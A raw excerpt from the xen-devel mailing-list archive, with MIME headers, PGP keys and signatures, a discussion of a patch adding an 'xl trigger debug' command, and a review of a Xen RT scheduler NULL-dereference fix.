--------------mHisnunnxH4NBSrCYMbsXcuq
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
FgIDAQIeAQIXgAAKCRCw3p3WKL8TL0KdB/93FcIZ3GCNwFU0u3EjNbNjmXBKDY4F
UGNQH2lv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JELDendYovxMv
Q/gH/1ha96vm4P/L+bQpJwrZ/dneZcmEwTbe8YFsw2V/Buv6Z4Mysln3nQK5ZadD
534CF7TDVft7fC4tU4PONxF5D+/tvgkPfDAfF77zy2AH1vJzQ1fOU8lYFpZXTXIH
b+559UqvIB8AdgR3SAJGHHt4RKA0F7f5ipYBBrC6cyXJyyoprT10EMvU8VGiwXvT
yJz3fjoYsdFzpWPlJEBRMedCot60g5dmbdrZ5DWClAr0yau47zpWj3enf1tLWaqc
suylWsviuGjKGw7KHQd3bxALOknAp4dN3QwBYCKuZ7AddY9yjynVaD5X7nF9nO5B
jR/i1DG86lem3iBDXzXsZDn8R3/CwO0EGAEIACAWIQSFEmdy6PYElKXQl/ew3p3W
KL8TLwUCWt3w0AIbAgCBCRCw3p3WKL8TL3YgBBkWCAAdFiEEUy2wekH2OPMeOLge
gFxhu0/YY74FAlrd8NAACgkQgFxhu0/YY75NiwD/fQf/RXpyv9ZX4n8UJrKDq422
bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------mHisnunnxH4NBSrCYMbsXcuq--

--------------GCGLUHAC00omEipMv2gl1qSr--

--------------xRaoXSGgLc0vY9TPQoiqAmqD
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpd+dYFAwAAAAAACgkQsN6d1ii/Ey+9
dQf+MNwHi0AEoRwM0kGFqoNIkbCEeUDIsEPaZE6ECmiLVl6im8D6Tu03Xw92X3m4V6P4h8KP0cln
E8xuh65pmvJfOkhbG6w3tnHb2DSaHJ3uBB1XN0hhnoe5LC2FjhTSrxSvUC9FTEmia3pQ/bsUMq1g
s1BGaaxWDZhqOb5KP+W7tHOds08mT0VosshO8KzjtGtIpD+Hge6qd/LrxV6unk6MKQNSVdDJWwEl
jB01KSXN6J0RnTSyvU9e/oCJWCrUdEBsjxd2JOFyef4dVLLVeFCm0gp0PLDEZEA+1VQSW0CE6Rjk
TWjyd5V7/0D5UL8U6E38KHqqAuYS7WBJJGJF/Nx96Q==
=Pl2M
-----END PGP SIGNATURE-----

--------------xRaoXSGgLc0vY9TPQoiqAmqD--


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 10:38:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 10:38:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366504.1616393 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wllOi-0008Nh-2R; Mon, 20 Jul 2026 10:38:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366504.1616393; Mon, 20 Jul 2026 10:38:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wllOh-0008Na-W7; Mon, 20 Jul 2026 10:38:55 +0000
Received: by outflank-mailman (input) for mailman id 1366504;
 Mon, 20 Jul 2026 10:38:54 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7f1b601a000edb5@swg.vates.tech>)
 id 1wllOg-0008NU-SF
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:38:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wllOg-00FV1c-8n
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 12:38:54 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7f1b601a000edb5@swg.vates.tech>)
 id 6a5dfab5-5cb7-0a2a0a5109dd-0a2a450180b0-26
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:38:54 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7f1b601a000edb5@swg.vates.tech>)
 id 6a5dfabd-5984-0a2a45010019-b9ff1c128647-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:38:54 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f7f1b601a000edb5.001 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Mon, 20 Jul 2026 10:38:48 +0000
Received: from [192.168.1.61] (155.223.66.37.rev.sfr.net [37.66.223.155])
 (Authenticated sender: ngoc-tu.dinh@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id B64A182A31;
 Mon, 20 Jul 2026 12:38:47 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=okqhS3ncypQscsAQfGNyz7YH94LWDDUZ4XA86uE4s6o=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=pes6mzaUwGJpj9MUzCg3YrUevfDTSw0XuGSyxJFYNBGDnbWlhh08Qfr9tom2yOoqoNU6Hkkhd
 vRaHhHFr73pWIzSAJqBGL9wbKMP7Lkq3Mb2ID/TGU9WmkAfH4s+RW9ZEn9d+7h8UyAZTV9iwAIc
 vgmlXZdTJQAjWiiUSxsbOXQ2ckJqEJade2bT72aoWi5uNHkrCM21mTx/34Kqgw7ogZv9G1Z47di
 GKEIEww7XwQHyota9+zY/FK8rWxbn0vTLc5quXFaI22KB5u65ZnXZE0D3OkgFYAVdqW6Q7+4pG8
 2KkppLPeTFDFJCsgZyHT9zvBmNfch1LKynmC5tWTDkGQ==
X-Zone-Loop: ee1620ba6c6df00591ae9c2b43a20dff21abe9c49c30
x-campaign-type: default
x-transaction-id: c54e6ba5-aa51-49f7-bad9-b5371eccb6a6
x-swg-uid: 01-571445ba-4ecc-4ad9-9c6c-bc4f6393fdee
X-Mailer: Sweego
Message-ID:
 <1784543928.8631fc262581453bbf619ec5b2062170.19f7f1b601a000edb5@vates.tech>
x-swg-bid: 1784543928.8631fc262581453bbf619ec5b2062170.19f7f1b601a000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Mon, 20 Jul 2026 12:38:47 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/2] {libxl,xl}: Add xl trigger debug
To: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>,
 xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>
References: <1784539531.8631fc262581453bbf619ec5b2062170.19f7ed8472c000edb5@vates.tech>
 <1784539672.8631fc262581453bbf619ec5b2062170.19f7eda70d8000edb5@vates.tech>
 <2b954e31-0551-4706-ab56-f24a8380b527@suse.com>
Content-Language: en-US
From: Tu Dinh <ngoc-tu.dinh@vates.tech>
In-Reply-To: <2b954e31-0551-4706-ab56-f24a8380b527@suse.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.db1.e8ed7a4bb37c1131.19f7f1b5e01.6b326f6231e2d8c3=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784543927809
X-purgate-ID: tlsNG-d62444/1784543934-BE867757-483945B9/0/0
X-purgate-type: clean
X-purgate-size: 2371

---=Part.db1.e8ed7a4bb37c1131.19f7f1b5e01.6b326f6231e2d8c3=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On 20/07/2026 12:29, J=C3=BCrgen Gro=C3=9F wrote:
> On 20=2E07=2E26 11:27, Tu Dinh wrote:
>> Use XEN_DOMCTL_SENDTRIGGER_DEBUG to allow printing diagnostics
>> information of a specific domain=2E
>>
>> Signed-off-by: Tu Dinh <ngoc-tu=2Edinh@vates=2Etech>
>> ---
>> =C2=A0 tools/libs/light/libxl_domain=2Ec=C2=A0 | 4 ++++
>> =C2=A0 tools/libs/light/libxl_types=2Eidl | 1 +
>> =C2=A0 tools/xl/xl_cmdtable=2Ec=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0 | 2 +-
>> =C2=A0 3 files changed, 6 insertions(+), 1 deletion(-)
>>
>> diff --git a/tools/libs/light/libxl_domain=2Ec b/tools/libs/light/=20
>> libxl_domain=2Ec
>> index 37fcd92871=2E=2E2d8290dbfa 100644
>> --- a/tools/libs/light/libxl_domain=2Ec
>> +++ b/tools/libs/light/libxl_domain=2Ec
>> @@ -2190,6 +2190,10 @@ int libxl_send_trigger(libxl_ctx *ctx, uint32_t=
=20
>> domid,
>> =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 case LIBXL_TRIGGER_S3RESUME:
>> =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 domain_s3_resume=
(ao, egc, domid); /* must be last */
>> =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 return AO_INPROG=
RESS;
>> +=C2=A0=C2=A0=C2=A0 case LIBXL_TRIGGER_DEBUG:
>> +=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 rc =3D xc_domain_send_trigg=
er(ctx->xch, domid,
>> +=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 XEN_DOMC=
TL_SENDTRIGGER_DEBUG,=20
>> vcpuid);
>> +=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 break;
>=20
> You are sending VIRQ_DEBUG only to one vcpu=2E Wouldn't it make sense to=
 add
> the capability to send it to all vcpus of a domain?
>=20
>=20
> Juergen

It's a current limitation of xl trigger that it can only send triggers=20
to 1 vcpu at a time=2E Perhaps a special vcpuid value could be defined for=
=20
this purpose, then xl trigger can use this value when "all" is specified=
=20
on the command line?


-- 
Ngoc Tu Dinh | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates =
solutions

web: https://vates=2Etech
---=Part.db1.e8ed7a4bb37c1131.19f7f1b5e01.6b326f6231e2d8c3=---


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 10:47:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 10:47:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366514.1616407 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wllXM-0001iv-T5; Mon, 20 Jul 2026 10:47:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366514.1616407; Mon, 20 Jul 2026 10:47:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wllXM-0001io-Q5; Mon, 20 Jul 2026 10:47:52 +0000
Received: by outflank-mailman (input) for mailman id 1366514;
 Mon, 20 Jul 2026 10:47:51 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wllXL-0001hR-KT
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:47:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wllXL-006NBB-1I
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 12:47:51 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a5dfcc0-2eae-0a2a0a5409dd-0a2a4506c908-32
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:47:50 +0200
Received: from [209.85.128.50] (helo=mail-wm1-f50.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a5dfcd6-195a-0a2a45060019-d1558032e8c2-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:47:50 +0200
Received: by mail-wm1-f50.google.com with SMTP id
 5b1f17b1804b1-4954f5e8020so8998465e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 03:47:50 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4955de8895dsm69288335e9.4.2026.07.20.03.47.49
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 03:47:49 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784544470; x=1785149270; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=4gX0EjmkLrcXray1607hCFGZQkumu3pqtQ6Lprww3bE=;
        b=VQ2pvI5QcuPgdxaJklHABdC+M0IbL1kewjmgFlVPn7t+6dn0/5A2NKbIMNwnKk4aPX
         adxqYwWA9GeIF9KPjTW3SIQqD+sfjYJzgf+jHPWnhqtQWAlpbSZUNu1qfjEScVxrgB+a
         Ke3Nu0PY291n8zGjLBcvyW+PbKVB4quXwGQ8+TpESLeK+ET0ZLaU5YAkXzdc5yzBv0aj
         B8GaUvW/uG3XToCAP8I7wJHuJW8ZjomLHMP6dj/1knqDnkE0JB78paJx+ckuFJmuaKqc
         Zw5IZuR4/WS5gGj1XEC0CAM1Lt6xZYQmOnCqZ6WdjPMG9A4/QSppJnSuc+J9NqTvCBlZ
         SpjA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784544470; x=1785149270;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=4gX0EjmkLrcXray1607hCFGZQkumu3pqtQ6Lprww3bE=;
        b=E1iHH+dT99nlrIW0V3i4QEU295MTle+FJ62YdydhgAhv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45Myae1EE0S6SaMoeTQX5yPTlll82j+NPQ3YAARodB9veq
	3CZWWEYRgXjgRo7ui9EaarOi8OXACy7
X-Received: by 2002:a05:600c:4ed3:b0:495:63e6:5fb8 with SMTP id 5b1f17b1804b1-49563e6601bmr7624895e9.12.1784544470013;
        Mon, 20 Jul 2026 03:47:50 -0700 (PDT)
Message-ID: <b9de6773-b13d-4975-9484-60d5fefa270a@suse.com>
Date: Mon, 20 Jul 2026 12:47:48 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2] xen/sched: rt: fix NULL cpupool dereference in
 move_repl_timer()
To: Oleksii Moisieiev <Oleksii_Moisieiev@epam.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Meng Xu <mengxu@cis.upenn.edu>
References: <f4b75c23400b1a9db44596a28ca9683dbf05d419.1784288688.git.oleksii_moisieiev@epam.com>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCA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yy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <f4b75c23400b1a9db44596a28ca9683dbf05d419.1784288688.git.oleksii_moisieiev@epam.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------JRy70NMhedj41tKyGZXx701o"
X-purgate-ID: tlsNG-16d1c6/1784544470-F7CCD77B-F1B828CD/0/0
X-purgate-type: clean
X-purgate-size: 8818

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------JRy70NMhedj41tKyGZXx701o
Content-Type: multipart/mixed; boundary="------------drgeVDw5p7DFtyiN08a48JEr";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Oleksii Moisieiev <Oleksii_Moisieiev@epam.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Meng Xu <mengxu@cis.upenn.edu>
Message-ID: <b9de6773-b13d-4975-9484-60d5fefa270a@suse.com>
Subject: Re: [PATCH v2] xen/sched: rt: fix NULL cpupool dereference in
 move_repl_timer()
References: <f4b75c23400b1a9db44596a28ca9683dbf05d419.1784288688.git.oleksii_moisieiev@epam.com>
In-Reply-To: <f4b75c23400b1a9db44596a28ca9683dbf05d419.1784288688.git.oleksii_moisieiev@epam.com>

--------------drgeVDw5p7DFtyiN08a48JEr
Content-Type: multipart/mixed; boundary="------------lVUctXqyi6oiUoHaH9TCFrY0"

--------------lVUctXqyi6oiUoHaH9TCFrY0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMTcuMDcuMjYgMTM6NDUsIE9sZWtzaWkgTW9pc2llaWV2IHdyb3RlOg0KPiBzY2hlZHVs
ZV9jcHVfcm0oKSBjbGVhcnMgdGhlIGNwdXBvb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CBzdGF5cyB2YWxpZCBmb3IgdGhlIHdob2xl
DQo+IGxpZmV0aW1lIG9mIHRoZSBzY2hlZHVsZXIsIHNvIGl0IGlzIHN0aWxsIGF2YWlsYWJs
ZSB3aGVuDQo+IHJ0X2RlaW5pdF9wZGF0YSgpIHJ1bnMuIE90aGVyIHNjaGVkdWxlcnMgYWxy
ZWFkeSByZWx5IG9uIGl0IHRoZSBzYW1lDQo+IHdheSwgZS5nLiBjcmVkaXQyIGluIGNwdV9h
ZGRfdG9fcnVucXVldWUoKS4NCj4gDQo+IEZpeGVzOiBiNmY1MzM0YWVhY2EgKCJzY2hlZDog
Zml4IGNwdSBvZmZsaW5pbmcgd2l0aCBjb3JlIHNjaGVkdWxpbmciKQ0KPiBTaWduZWQtb2Zm
LWJ5OiBPbGVrc2lpIE1vaXNpZWlldiA8b2xla3NpaV9tb2lzaWVpZXZAZXBhbS5jb20+DQpS
ZXZpZXdlZC1ieTogSnVlcmdlbiBHcm9zcyA8amdyb3NzQHN1c2UuY29tPg0KDQoNCkp1ZXJn
ZW4NCg==
--------------lVUctXqyi6oiUoHaH9TCFrY0
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42G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243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------lVUctXqyi6oiUoHaH9TCFrY0--

--------------drgeVDw5p7DFtyiN08a48JEr--

--------------JRy70NMhedj41tKyGZXx701o
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpd/NQFAwAAAAAACgkQsN6d1ii/Ey+q
xAf/VsYk4XHc3ZIg2LfmuX1pwWJjv6q37yAOvwkzjpJp0e3yLcXdU3rhGZWCWzD9Duipp/2g/ptZ
L5L9RQ1mNbxy3FPW4Hed4Lbg8OJQF4o70TuIYmFmh5xNE5WD/mfJJig5dDAiMl6ysg61WIwLptQE
Ygas1zY9CyMwqORJQKGbV9+1zCGfQDpIGVhsu+WqPAZwtDgkLmrhI+uoAZMo45SGXPfLFk3d2qIe
QSHIxwzr7NCQyN7TPJw2EFsuXRY3SUwpkQxLTCVrKqAWLBdUt1ybBtswOCIgIaJHr2TD/n4B/Gz2
QWVwpe0CnFdbDX65DiTojgDh//aGcTSlM6DczwuEXA==
=kIKF
-----END PGP SIGNATURE-----

--------------JRy70NMhedj41tKyGZXx701o--


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 10:51:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 10:51:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366523.1616416 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wllb7-0003IK-EP; Mon, 20 Jul 2026 10:51:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366523.1616416; Mon, 20 Jul 2026 10:51:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wllb7-0003ID-BR; Mon, 20 Jul 2026 10:51:45 +0000
Received: by outflank-mailman (input) for mailman id 1366523;
 Mon, 20 Jul 2026 10:51:43 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wllb5-0003I7-Mk
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:51:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wllb4-00FXa4-VM
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 12:51:42 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a5dfdb4-e002-0a2a0a5209dd-0a2a450bb516-36
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:51:42 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a5dfdbe-b7e8-0a2a450b0019-d155802ce5ef-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:51:42 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-4955484387cso8852775e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 03:51:42 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
